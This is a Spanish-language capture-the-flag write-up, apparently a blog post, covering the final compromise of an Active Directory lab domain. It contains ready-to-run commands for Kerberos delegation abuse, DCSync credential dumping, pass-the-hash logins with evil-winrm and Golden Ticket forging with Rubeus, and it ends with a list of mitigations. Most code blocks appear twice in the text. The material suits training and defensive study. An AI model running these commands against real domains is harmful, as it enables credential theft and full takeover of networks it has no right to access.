En herramientas como Impacket, .ccache es el formato de Kerberos Credential Cache que se utiliza para almacenar y reutilizar tickets Kerberos. Permite, por ejemplo, que herramientas como smbclient, psexec o wmiexec utilicen un TGT/TGS existente directamente mediante la variable KRB5CCNAME.
En este punto, se exporta la variable "KRB5CCNAME" para que contenga el ticket en formato ".ccache" recien convertido listo para su uso.
klist
export KRB5CCNAME=$(pwd)/Administrator_cifs_DC.hackme.thl.ccache
klistklist
export KRB5CCNAME=$(pwd)/Administrator_cifs_DC.hackme.thl.ccache
klist
Gracias al TGS obtenido para el servicio cifs/DC.hackme.thl en nombre de Administrator, es posible autenticarse frente al controlador de dominio como esa identidad.
Dado que Administrator dispone de los permisos necesarios para la replicación de directorio, puede utilizarse esta identidad para realizar operaciones privilegiadas como un ataque DCSync y solicitar así información de credenciales del dominio sin necesidad de disponer de la contraseña de este usuario.
Sin embargo, antes de continuar es necesario especificar en el archivo hosts los dominios asociados al Directorio Activo a utilizar apuntando a la dirección IP del controlador de dominio. Esto es importante, ya que evitará que ciertas resoluciones fallen en el proceso.
192.168.56.8 hackme.thl DC.hackme.thl192.168.56.8 hackme.thl DC.hackme.thlEn este punto es posible realizar un ataque DCSync y obtener así las credenciales del dominio.
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dcimpacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc
Opción 2 — Obtención y abuso de un ticket de Kerberos en nombre de Administrator (RBCD) utilizando solo Impacket (GNU/Linux)
Se aprovecha en este caso la otra forma de hacerlo, en este caso desde GNU/Linux utilizando Impacket, tal y como indica BloodHound.
Se realiza exactamente la misma operación vista para obtener un TGS en nombre del usuario Administrator. Sin embargo, la ventaja que ofrece este método es que esta vez se obtiene el ticket directamenten en el sistema local y en formato ".ccache".
unset KRB5CCNAME -> desasignar la variable para realizar una nueva prueba
impacket-getST -spn 'cifs/DC.hackme.thl' -impersonate 'Administrator' -dc-ip 192.168.56.8 -hashes :<RECORTADO> 'hackme.thl/GMSA_SVC$'unset KRB5CCNAME -> desasignar la variable para realizar una nueva prueba
impacket-getST -spn 'cifs/DC.hackme.thl' -impersonate 'Administrator' -dc-ip 192.168.56.8 -hashes :<RECORTADO> 'hackme.thl/GMSA_SVC$'
En este punto, se exporta la variable "KRB5CCNAME" para que contenga el ticket recien obtenido.
klist
export KRB5CCNAME=$(pwd)/Administrator@cifs_DC.hackme.thl@HACKME.THL.ccache
klistklist
export KRB5CCNAME=$(pwd)/Administrator@cifs_DC.hackme.thl@HACKME.THL.ccache
klist
Nuevamente tener en cuenta que los dominios asociados al Directorio Activo apuntando a la dirección IP del controlador de dominio.
192.168.56.8 hackme.thl DC.hackme.thl192.168.56.8 hackme.thl DC.hackme.thlEn este punto es posible realizar un ataque DCSync y obtener así las credenciales del dominio.
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dcimpacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc
Conclusión — Acceso administrativo al DC
En este punto, se puede probar que es posible obtener acceso como el usuario administrador de dominio mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente.
netexec ldap 192.168.56.8 -u "Administrator" -H '<RECORTADO>' --ignore-pw-decodingnetexec ldap 192.168.56.8 -u "Administrator" -H '<RECORTADO>' --ignore-pw-decoding
Como este usuario tiene los privilegios máximos sobre el dominio, tiene la capacidad para interactuar con cualquier servicio sin restricciones. Por ello, es posible acceder al sistema a través del servicio WinRM como el usuario administrador de dominio "Administrator", obteniendo así la flag asociada a este usuario.
evil-winrm -i 192.168.56.8 -u "Administrator" -H '<RECORTADO>'
whoami
hostname
ipconfig
dir ..\Desktop
type ..\Desktop\root.txtevil-winrm -i 192.168.56.8 -u "Administrator" -H '<RECORTADO>'
whoami
hostname
ipconfig
dir ..\Desktop
type ..\Desktop\root.txt
En este punto, al haber obtenido acceso como el administrador del dominio, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Intentando reutilizar el ticket en formato .kirbi encontrado previamente
Para utilizarlo, se descarga utilizando la sesión activa de WinRM.
dir ticket.kirbi
download ticket.kirbidir ticket.kirbi
download ticket.kirbi
Como el contenido de este ticket se encuentra codificado en Base64, primero es necesario obtener una versión descodificada antes de poder convertirlo al formato ".ccache".
file ticket.kirbi
base64 -d ticket.kirbi > ticket-decoded.kirbi
file ticket-decoded.kirbi
impacket-ticketConverter ticket-decoded.kirbi ticket.ccachefile ticket.kirbi
base64 -d ticket.kirbi > ticket-decoded.kirbi
file ticket-decoded.kirbi
impacket-ticketConverter ticket-decoded.kirbi ticket.ccache
Tal y como se ha hecho con los tickets anteriores, se exporta la variable "KRB5CCNAME" para que contenga el ticket recien obtenido.
unset KRB5CCNAME
klist
export KRB5CCNAME=$(pwd)/ticket.ccache
klistunset KRB5CCNAME
klist
export KRB5CCNAME=$(pwd)/ticket.ccache
klist
Nuevamente tener en cuenta que los dominios asociados al Directorio Activo apuntando a la dirección IP del controlador de dominio.
192.168.56.8 hackme.thl DC.hackme.thl192.168.56.8 hackme.thl DC.hackme.thlEn este punto es posible probar a realizar un ataque DCSync y obtener así las credenciales del dominio.
Sin embargo, como el ticket obtenido parece haber caducado hace tiempo y no es posible renovarlo, tampoco es posible abusar de este ticket ni del contexto que alberga.
Tampoco se debe modificar la fecha y hora del DC para recuperar su validez aunque se disponga de dichos privilegios. A pesar de que teoricamente podría hacer que el ticket pudiera volver a utilizarse, es una acción totalmente impracticable y que no se recomienda en absoluto.
De esta forma se pretende evitar tener que realizar tareas posteriores de recuperación del dominio, la mayoría relacionadas con la replicación, la autenticación y operaciones prematuras/postergadas que se alterarían debido a esta modificación.
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc -debug
klistimpacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc -debug
klist
Por lo tanto, en este punto no existe una forma no destructiva de hacer que el DC acepte como válido este ticket caducado: las marcas de tiempo están vinculadas criptográficamente al ticket y firmadas por el KDC.
Sin la clave privada de KRBTGT para volver a firmar las marcas de tiempo modificadas, el ticket está criptográficamente muerto.
Esto significa que es más fácil obtener un ticket nuevo teniendo las credenciales adecuadas o la clave privada de la cuenta KRBTGT para falsificar uno, que intentar modificarlo para volver a hacerlo válido.
BONUS 2: Detectado script encargado de realizar las peticiones de autenticación mediante SMB
Durante la enumeración del sistema se identificó el script encargado de acceder a recursos compartidos mediante el protocolo SMB. Este comportamiento fue el que se aprovechó para capturar respuestas de autenticación NTLMv2 generadas por el usuario de dominio al intentar autenticarse contra el recurso compartido.
dir C:\temp
type C:\temp\shareconnect.ps1dir C:\temp
type C:\temp\shareconnect.ps1
Este se ejecuta gracias a un servicio que se inicia automáticamente al arrancar el sistema denominado "Reconnectshare".
Get-WmiObject Win32_Service | Where-Object {$_.PathName -like "*nssm*" -or $_.PathName -like "*shareconnect*"} | Select-Object *Get-WmiObject Win32_Service | Where-Object {$_.PathName -like "*nssm*" -or $_.PathName -like "*shareconnect*"} | Select-Object *
Se detectan más detalles asociados a este servicio y como se comporta.
Get-CimInstance Win32_Service -Filter "Name='Reconnectshare'" | Format-List *Get-CimInstance Win32_Service -Filter "Name='Reconnectshare'" | Format-List *
Este servicio se gestiona mediante un programa denominado NSSM o The Non-Sucking Service Manager, encargado de mantener este servicio arrancado.
Referencia (NSSM): https://github.com/dkxce/NSSM
dir "C:\temp\nssm-2.24\nssm-2.24"
type "C:\temp\nssm-2.24\nssm-2.24\README.txt"Referencia (NSSM): https://github.com/dkxce/NSSM
dir "C:\temp\nssm-2.24\nssm-2.24"
type "C:\temp\nssm-2.24\nssm-2.24\README.txt"
Esta herramienta almacena los parámetros del servicio configurado directamente en el Registro de Windows, por lo que ahí se puede comprobar que utiliza el script encontrado anteriormente como funcionalidad principal del servicio.
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters"
...
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters
Application REG_EXPAND_SZ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
AppParameters REG_EXPAND_SZ -ExecutionPolicy Bypass -File "C:\temp\shareconnect.ps1"
AppDirectory REG_EXPAND_SZ C:\temp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters\AppExitreg query "HKLM\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters"
...
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters
Application REG_EXPAND_SZ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
AppParameters REG_EXPAND_SZ -ExecutionPolicy Bypass -File "C:\temp\shareconnect.ps1"
AppDirectory REG_EXPAND_SZ C:\temp
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Reconnectshare\Parameters\AppExit
BONUS 3: Creación de un Golden Ticket aprovechando el hash NTLM de KRBTGT a modo de persistencia
Como el ticket encontrado previamente no ha resultado como se esperaba, se decide mostrar un método de persistencia del dominio utilizando la cuenta de dominio KRBTGT para ello.
En resumen, la cuenta de dominio KRBTGT es una cuenta integrada y especial de Active Directory que utiliza el KDC de Kerberos para firmar y cifrar determinados tickets de autenticación. Es fundamental para el funcionamiento de Kerberos dentro del dominio. Su compromiso es especialmente crítico porque permite potencialmente forjar tickets Kerberos válidos, facilitando la suplantación de identidades y un compromiso persistente del dominio. Por ello, su hash y sus credenciales deben protegerse con especial cuidado.
En esta sección, se aprovecha esta cuenta de dominio privilegiada para forjar un Golden Ticket.
En resumen, un Golden Ticket no es más que un TGT de Kerberos falsificado utilizando el secreto/hash de la cuenta KRBTGT del dominio. Este permite la creación de tickets que aparenten haber sido emitidos de forma genuina e intencionada por el KDC y representar así a una identidad arbitraria. Es especialmente peligroso porque puede proporcionar acceso a cualquier recurso del dominio y mantener persistencia mientras la clave de KRBTGT utilizada para validar los tickets siga siendo válida.
Referencia (Cuenta de dominio KRBTGT): https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/manage/understand-default-user-accounts#krbtgt-account
Referencia (Mitigación Golden Ticket): https://learn.microsoft.com/es-es/defender-for-identity/security-posture-assessments/accounts#change-password-for-krbtgt-accountReferencia (Cuenta de dominio KRBTGT): https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/manage/understand-default-user-accounts#krbtgt-account
Referencia (Mitigación Golden Ticket): https://learn.microsoft.com/es-es/defender-for-identity/security-posture-assessments/accounts#change-password-for-krbtgt-accountAntes de proceder a crearlo, se enumeran una serie de datos importantes asociados al dominio para definir en la creación de este ticket: el SID del dominio y los grupos de interés (generalmente grupos privilegiados).
Get-ADDomain | Select-Object DomainSID
Get-ADGroup -Filter * | Select Name, SIDGet-ADDomain | Select-Object DomainSID
Get-ADGroup -Filter * | Select Name, SID
Una vez conocida esta información y aprovechando la herramienta Rubeus, se construye el comando específico que se encargue de generar este ticket.
Este comando permite utilizar el hash de la cuenta KRBTGT para generar y firmar un Golden Ticket válido para el usuario Administrator dentro del dominio indicado, con los identificadores y grupos especificados. Una vez generado, guarda el ticket en formato .kirbi y, mediante /ptt, lo carga en la caché de tickets Kerberos de la sesión actual para poder utilizarlo en autenticaciones posteriores si se desea.
C:\Users\sqlsvc\Documents\Rubeus.exe golden /rc4:<RECORTADO> /domain:hackme.thl /sid:S-1-5-21-1745355497-1117726267-3161739305 /user:Administrator /id:500 /groups:512,513,518,519,520 /outfile:administrator_golden.kirbi /pttC:\Users\sqlsvc\Documents\Rubeus.exe golden /rc4:<RECORTADO> /domain:hackme.thl /sid:S-1-5-21-1745355497-1117726267-3161739305 /user:Administrator /id:500 /groups:512,513,518,519,520 /outfile:administrator_golden.kirbi /ptt
dir administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbidir administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbi
Para utilizarlo, se descarga el ticket en formato .kirbi utilizando la sesión activa de WinRM.
download administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbidownload administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbi
A continuación, se convierte el ticket del formato ".kirbi" al formato ".ccache".
impacket-ticketConverter administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbi administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.ccache
ls -al administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.ccacheimpacket-ticketConverter administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.kirbi administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.ccache
ls -al administrator_golden_<RECORTADO>_Administrator_to_krbtgt@HACKME.THL.ccache
Tal y como se ha hecho con los tickets anteriores, se exporta la variable "KRB5CCNAME" para que contenga el ticket recién obtenido.
unset KRB5CCNAME
klist
export KRB5CCNAME=$(pwd)/administrator_golden_2026_08_24_15_16_53_Administrator_to_krbtgt@HACKME.THL.ccache
klistunset KRB5CCNAME
klist
export KRB5CCNAME=$(pwd)/administrator_golden_2026_08_24_15_16_53_Administrator_to_krbtgt@HACKME.THL.ccache
klist
Nuevamente tener en cuenta que los dominios asociados al Directorio Activo apuntando a la dirección IP del controlador de dominio.
192.168.56.8 hackme.thl DC.hackme.thl192.168.56.8 hackme.thl DC.hackme.thlEn este punto es posible probar a realizar un ataque DCSync y obtener así las credenciales del dominio para ver que este es funcional para operaciones privilegiadas.
impacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dcimpacket-secretsdump -k -no-pass hackme.thl/Administrator@DC.hackme.thl -just-dc
Mitigaciones a aplicar
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
- Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou o que se permita asignar una sin la suficiente complejidad. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios, grupos y recursos única y exclusivamente los privilegios que vayan a necesitar. Recomendación: existen guías de hardening por parte de Microsoft de Active Directory para aplicar buenas prácticas y asegurar entre otras cosas, los permisos y tomar acciones concretas sobre los distintos activos gestionados a través de este entorno.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com